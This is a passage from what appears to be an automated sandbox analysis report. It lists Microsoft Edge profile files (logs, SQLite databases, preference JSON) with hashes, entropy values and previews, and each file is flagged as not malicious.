Category:	dropped
Size (bytes):	418
Entropy (8bit):	5.246156535243502
Encrypted:	false
SSDEEP:	12:aktv8wZYebvqBZFUt8dkHdX/+dkGVz5TwZYebvqBaJ:58wZYebvyg8id2lTwZYebvL
MD5:	56C7E44702EA508DDF92DFBBA358A996
SHA1:	58F98EC489FC10CEB02735B2FF4167EABD33A5FD
SHA-256:	9DDC5A060BDBCA9018B60BAE32265C5F769C69240A2A40155C0A5195CA8EF40C
SHA-512:	C66676CA035DE0E0F1D48505DAEF2F6BCE445560B0D7DD3480284570B1AB7DF4D0D752EBE49FA1D74EA06F6DC319FFE07D49E567E03E7358272E1E7A5AF11445
Malicious:	false
Preview:	2024/11/18-09:17:09.447 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/18-09:17:09.448 1c88 Recovering log #3.2024/11/18-09:17:09.452 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	418
Entropy (8bit):	5.246156535243502
Encrypted:	false
SSDEEP:	12:aktv8wZYebvqBZFUt8dkHdX/+dkGVz5TwZYebvqBaJ:58wZYebvyg8id2lTwZYebvL
MD5:	56C7E44702EA508DDF92DFBBA358A996
SHA1:	58F98EC489FC10CEB02735B2FF4167EABD33A5FD
SHA-256:	9DDC5A060BDBCA9018B60BAE32265C5F769C69240A2A40155C0A5195CA8EF40C
SHA-512:	C66676CA035DE0E0F1D48505DAEF2F6BCE445560B0D7DD3480284570B1AB7DF4D0D752EBE49FA1D74EA06F6DC319FFE07D49E567E03E7358272E1E7A5AF11445
Malicious:	false
Preview:	2024/11/18-09:17:09.447 1c88 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/11/18-09:17:09.448 1c88 Recovering log #3.2024/11/18-09:17:09.452 1c88 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.222628050234274
Encrypted:	false
SSDEEP:	6:HUOuKxq2PqLTwi23oH+TcwtpIFUt8YUOuKMxZmw+YUOuKMrkwOqLTwi23oH+Tcwd:aMv8wZYebmFUt8dN/+d/5TwZYebaUJ
MD5:	DDE8AED5B0CC6A7F45072F925A1454E8
SHA1:	D0645799C3E9849567F88FBA71DE433AD231EB66
SHA-256:	ED4B2721A570D9FEFD65A169D0AD511D67B7BC3DF5286D2208805AAA68CAC22A
SHA-512:	3AB3A7950E72770BB18CBB008222C3BA1FC615B949D833B2845A97C852004B1203D6B7E291002E8028B8312814BEB46235FEDDC17D29B21C8462AC883DFB2C21
Malicious:	false
Preview:	2024/11/18-09:16:50.679 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/18-09:16:50.680 1da4 Recovering log #3.2024/11/18-09:16:50.680 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.222628050234274
Encrypted:	false
SSDEEP:	6:HUOuKxq2PqLTwi23oH+TcwtpIFUt8YUOuKMxZmw+YUOuKMrkwOqLTwi23oH+Tcwd:aMv8wZYebmFUt8dN/+d/5TwZYebaUJ
MD5:	DDE8AED5B0CC6A7F45072F925A1454E8
SHA1:	D0645799C3E9849567F88FBA71DE433AD231EB66
SHA-256:	ED4B2721A570D9FEFD65A169D0AD511D67B7BC3DF5286D2208805AAA68CAC22A
SHA-512:	3AB3A7950E72770BB18CBB008222C3BA1FC615B949D833B2845A97C852004B1203D6B7E291002E8028B8312814BEB46235FEDDC17D29B21C8462AC883DFB2C21
Malicious:	false
Preview:	2024/11/18-09:16:50.679 1da4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/18-09:16:50.680 1da4 Recovering log #3.2024/11/18-09:16:50.680 1da4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.266281125383948
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkM2SAELyKOMq+8ETZKoxAXCVum+:K0q+n0J29ELyKOMq+8ET8cUZ
MD5:	5F6DE561F5E1EF52F589BC2DCBE62290
SHA1:	A12CF52B09E6856ABADA75A4F092512EB7CFCA88
SHA-256:	07EAFF6A5F73AF03C725719D2C3D68EC25D45F38CA4CB60860675D2190A56506
SHA-512:	DC64A7020C6295C16528F03E9CC35925D26B25D8EFA7C0FF8040E8BDEF4FB653E1BA7ED9084366F9198771338AE9A3A955D1A28E93304A7ADBAD0195089AE375
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46688045011354046
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0V+:v7doKsKuKZKlZNmu46yjx0w
MD5:	03950469F2F6424E14CEC122E1BD8A10
SHA1:	168F1C83426E25C7662A9F030E17EF572B684951
SHA-256:	146C40B18B7BCAD9A258DA0B2C2813C4AA85F047BE540FC96874D0C17CFEC073
SHA-512:	95324C073CCE65A1F045D010271ABD9BC8EB04D96DB2BF6042C833C2BED3A9E18386A90F953D98A4600DC02365604A2319E305E876EB8439B6A4654A55C382BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b90b6649-7bfb-4c96-9c03-b99bdee8c0de.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17202), with no line terminators
Category:	dropped
Size (bytes):	17208
Entropy (8bit):	5.489581411010733
Encrypted:	false
SSDEEP:	384:stkPGQSu4Ksr9iZ9neycG4pi4NbGfQwTh:saOXue9iZcyn4bGoah
MD5:	64D9E5FF99832C17F6C58CACCF9377FC
SHA1:	8A2D13ADABEE0046DB36B2F536A09987875970EA
SHA-256:	5ACE7CF838F192CF9FA7EF9AB40E82A03DF44B1B499F37FE9E77E787242085AE
SHA-512:	26DDDC8FEF81E20457D9DAAB3063482524AA49422C79A9FEC31277F49B8922582CA49930418792AABD235804A987F05BC5F4DCB1FBFC64E44C5FD356EC7C4290
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376413011247906","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ba1ff17a-7c22-4065-9bd5-a4ce3dbfad7c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561146819523631
Encrypted:	false
SSDEEP:	768:q1BmtZ7pLGLpjdWPWEf048F1+UoAYDCx9Tuqh0VfUC9xbog/OVf8AnvE9rwg4NW3:q1BmtvcpjdWPWEf04u1jae8AvEGg4NW3
MD5:	360253C0666B465422611C4608B5A7C2
SHA1:	D98303297293869FAA36EA4205BE18DA090F5B57
SHA-256:	64BB65DA37BB8D6A65EA0974E4733C6160EDF6F816E3D298A38688AF49AA729F
SHA-512:	B1EEFA5C789BEBAA248D51231E5B8B02D5164C07E2C640633B8740D0278E59E6117133857B4D7F0BC80DD6D11F762FF35A5298DBFA59F90F5509929E8B9F92FE
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376413010682352","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376413010682352","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c901daf2-c530-4ecf-9674-3fde0f515fe0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12374
Entropy (8bit):	5.196782822221734
Encrypted:	false
SSDEEP:	192:stkJ99QTryDigabatSuypKse09IJZVkysOG4z8hbV+Fs4QAjPeLPQUYJ:stkPGKSu4Ksr9iZPqbGfQeh
MD5:	424E39109D52B865A94BA54EE0AFC832
SHA1:	5C433DCE7B5E8C82713CA7D78F24B6C956F2FF6B
SHA-256:	C61C27089A1AB9082B2CD3AF77A964E75FE3BD10AB552CEF37F390B707254F7C
SHA-512:	D8F44CB03F02AC68CF66FA1EF6A1D71F3F72AF60C725AABE80D9C48F010040B13DA91F1748A9B1D7CEF0911DF0FBF6661961D7D652C4119CD199B54C3E1CF49A
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376413011247906","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340970644573687","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f2c8fe37-e803-4c65-9a65-704095f87f1b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40503
Entropy (8bit):	5.561187520793134
Encrypted:	false
SSDEEP:	768:q1BmtZ7pLGLpjdWPWEff48F1+UoAYDCx9Tuqh0VfUC9xbog/OVf8AnvE9rwg4NA2:q1BmtvcpjdWPWEff4u1jae8AvEGg4NA2
MD5:	D545D3DFF219ADB23DFCD7C9FB45F289
SHA1:	3C34794651017071EB219B5CCF8BE1363FB7BE19
SHA-256:	3B5A236F49536296BAC5A019978713E4AFA9A6CCD42F1DE4721B759E019DBF9E
SHA-512:	B30EA3E455A4CC9A910F70C051F6DD6902772E47608B0A55CDFFE21FC430CAB44A2993F2B22A4D886A3490BA40D181C3B0C3ADA5473D5E5E637624EB7DB2F176
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376413010682352","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376413010682352","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10204504466500114
Encrypted:	false
SSDEEP:	12:+QD3QkspEjVl/PnnnnnnnnnnnvoQ/Eou:+y3ooPnnnnnnnnnnnv1j
MD5:	57E41CF8C76E1F8E83BF96852E86F010
SHA1:	0E4C8397620573BB7ED99A00C38065AC763E690E
SHA-256:	C1640254BB693EB3AB79FAF6B10F9D668A3181319421D0D6C4F20A160F986C90
SHA-512:	92ACAF85E06F1A1F6DF020B1A69DC16E2B80793420A7A31BCEE1F40C65D5EEAED23E560DA6FB98F4A410B0E76528C08E3ED99A1D7E6E1FE9A64363CCB7BC5F0B
Malicious:	false
Preview:	..-.............M...............F{.....h..h.......-.............M...............F{.....h..h.............I...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	317272
Entropy (8bit):	0.8915147143742401
Encrypted:	false
SSDEEP:	384:zoeTbhL7Xdabxjo/oVOjNAQJZFZbS9L1ThOv8rdynyOWyFyleyVxyKT:zPwFOZmGTCbJ
MD5:	C00565EF6BFF52D2037DA0027FA77290
SHA1:	45BFA1D44328DF3407704BCAF67DA8A4C573DC83
SHA-256:	D83AF5946CD91707780601E45884DD9F92E59CC85C09D3F00F8160D3AF5DFFA7
SHA-512:	45C0475465A5C8C63A34DFD92B1A00AB224E738FE9C10B0E30AD4BCE4E89CB9E1C1C0F80FA5125035E5D9BE9AF7BB269A122E5C9617E870F075318F67113B5C6
Malicious:	false
Preview:	7....-..........F{.....hn.~Y.C,.........F{.....h./......SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	485
Entropy (8bit):	4.037278285442126
Encrypted:	false
SSDEEP:	6:/XntM+4il3sedhOeAyOuuuuuuuuunV69ill1Vy2EZlL9sedhOA:hlc8JAyOuuuuuuuuuV6gll1VyJli8t
MD5:	A33BB85B733FE96C8FE80E9E730EBD90
SHA1:	035E77DF386C117C503DDC26FE969060B48B6340
SHA-256:	6D06120480076EC79E6337173F330C27B8B8941103AC75E963D12DDEFA9A5433
SHA-512:	E55A2A5B698FE407E59071F3BEC4780E250C99105349489B720F428DEC8A4DE1FD6A73A259703C2FC8AB3D223899D4AD5C0B51CD2AA059C6FB5D5F80F80DDC6E
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1.9.0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............S...;...............#38_h.......6.Z..W.F.....K.X.....K.X.........V.e................V.e................V.e.................{..0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.255742511873377
Encrypted:	false
SSDEEP:	6:HUOuKSFKIq2PqLTwi23oH+TcwtfrK+IFUt8YUOuKeZmw+YUOuKSkwOqLTwi23oHK:aJFbv8wZYeb23FUt8dL/+dB5TwZYeb3J
MD5:	0289E5C236996CA12EBD992A3C068786
SHA1:	B00592797622C11352DBB379A56235EA5BC8E03D
SHA-256:	1D261A5E33A9214BA1FE2473B994E772468E90A66225B5DE06C81ADF2A8739A7
SHA-512:	235A491215753297E9C53784B0C86401C93CFF01BD0A52EA4A88D9BE67EDF83C1E2CCBEFFB8F20AD528DCF6E23A8F8A7FD0B92308B0E67DA63D31D8BFE5F4CB8
Malicious:	false
Preview:	2024/11/18-09:16:51.337 19a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/18-09:16:51.338 19a4 Recovering log #3.2024/11/18-09:16:51.338 19a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	320
Entropy (8bit):	5.255742511873377
Encrypted:	false
SSDEEP:	6:HUOuKSFKIq2PqLTwi23oH+TcwtfrK+IFUt8YUOuKeZmw+YUOuKSkwOqLTwi23oHK:aJFbv8wZYeb23FUt8dL/+dB5TwZYeb3J
MD5:	0289E5C236996CA12EBD992A3C068786
SHA1:	B00592797622C11352DBB379A56235EA5BC8E03D
SHA-256:	1D261A5E33A9214BA1FE2473B994E772468E90A66225B5DE06C81ADF2A8739A7
SHA-512:	235A491215753297E9C53784B0C86401C93CFF01BD0A52EA4A88D9BE67EDF83C1E2CCBEFFB8F20AD528DCF6E23A8F8A7FD0B92308B0E67DA63D31D8BFE5F4CB8
Malicious:	false
Preview:	2024/11/18-09:16:51.337 19a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/18-09:16:51.338 19a4 Recovering log #3.2024/11/18-09:16:51.338 19a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.215479438936919
Encrypted:	false
SSDEEP:	6:HUOuK0Iq2PqLTwi23oH+TcwtfrzAdIFUt8YUOuK0ZZmw+YUOuKWFykwOqLTwi23q:avIv8wZYeb9FUt8dvZ/+dNFy5TwZYebS
MD5:	F4CFE00A5F2BEFB8F329442B1B783FBB
SHA1:	1D9E95F1EC6DD776F2FD60F8B3025E97E3BC9C58
SHA-256:	8B11B897371B56EC35C692A539EAF46F08756DC610CA6111982B56637624FE8F
SHA-512:	5EC81BD841EF348970689753FFEA81DF8F542E844DA0433BB69AAB633D3B7902FCA3054333352E2A5766C07551519F6D4698A30C650A243F9CC4A340C81A3AE3
Malicious:	false
Preview:	2024/11/18-09:16:51.332 19a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/18-09:16:51.332 19a4 Recovering log #3.2024/11/18-09:16:51.333 19a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.215479438936919
Encrypted:	false
SSDEEP:	6:HUOuK0Iq2PqLTwi23oH+TcwtfrzAdIFUt8YUOuK0ZZmw+YUOuKWFykwOqLTwi23q:avIv8wZYeb9FUt8dvZ/+dNFy5TwZYebS
MD5:	F4CFE00A5F2BEFB8F329442B1B783FBB
SHA1:	1D9E95F1EC6DD776F2FD60F8B3025E97E3BC9C58
SHA-256:	8B11B897371B56EC35C692A539EAF46F08756DC610CA6111982B56637624FE8F
SHA-512:	5EC81BD841EF348970689753FFEA81DF8F542E844DA0433BB69AAB633D3B7902FCA3054333352E2A5766C07551519F6D4698A30C650A243F9CC4A340C81A3AE3
Malicious:	false
Preview:	2024/11/18-09:16:51.332 19a4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/18-09:16:51.332 19a4 Recovering log #3.2024/11/18-09:16:51.333 19a4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
